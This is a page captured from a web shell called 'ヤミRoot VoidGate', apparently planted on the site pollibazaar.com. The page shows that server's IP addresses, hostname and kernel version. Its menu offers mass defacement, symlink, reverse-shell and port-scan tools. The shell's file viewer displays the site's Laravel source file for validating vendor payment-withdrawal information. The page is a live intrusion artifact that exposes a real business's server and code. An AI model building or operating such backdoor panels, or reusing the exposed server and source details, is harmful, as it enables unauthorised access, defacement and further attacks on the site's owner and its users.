ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Http
/
Requests
/
Vendor
/
Viewing: PaymentInfoRequest.php
<?php namespace App\Http\Requests\Vendor; use App\Models\VendorWithdrawMethodInfo; use App\Models\WithdrawalMethod; use Illuminate\Contracts\Validation\ValidationRule; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Validation\Validator; class PaymentInfoRequest extends FormRequest { /** * Determine if the user is authorized to make this request. */ public function authorize(): bool { return true; } /** * Get the validation rules that apply to the request. * * @return array<string, ValidationRule|array|string> */ public function rules(): array { return [ 'method_name' => [ 'required', 'string', 'max:255' ], 'withdraw_method_id' => 'required|exists:withdrawal_methods,id', ]; } public function messages(): array { return [ 'method_name.required' => translate('The_method_name_field_is_required'), 'method_name.string' => translate('The_method_name_must_be_a_string'), 'method_name.max' => translate('The_method_name_must_not_exceed_255_characters'), 'withdraw_method_id.required' => translate('The_payment_method_field_is_required'), 'withdraw_method_id.exists' => translate('The_selected_payment_method_is_invalid'), 'id.exists' => translate('The_payment_info_id_is_invalid'), ]; } public function after(): array { return [ function (Validator $validator) { $id = $this->input('id'); $fields = WithdrawalMethod::where(['id' => $this['withdraw_method_id']])->first(); $methodInfos = VendorWithdrawMethodInfo::where([ 'user_id' => auth('seller')->id(), 'method_name' => $this['method_name'], ])->when(!empty($id), function ($query) use ($id) { return $query->where('id', '!=', $id); })->first(); if ($methodInfos) { $validator->errors()->add( 'method_name', translate('The_method_name_has_already_been_taken') ); } if (!$fields) { $validator->errors()->add( 'withdraw_method_id', translate('The_selected_withdraw_method_is_invalid') ); } foreach ($fields['method_fields'] as $field) { if (isset($field['is_required']) && $field['is_required'] == 1) { if (!isset($this['method_info'][$field['input_name']]) || empty($this['method_info'][$field['input_name']])) { $validator->errors()->add( 'method_info_' . $field['input_name'], translate('The_' . $field['input_name'] . '_field_is_required') ); } } } } ]; } }
Coded With 💗 by
0x6ick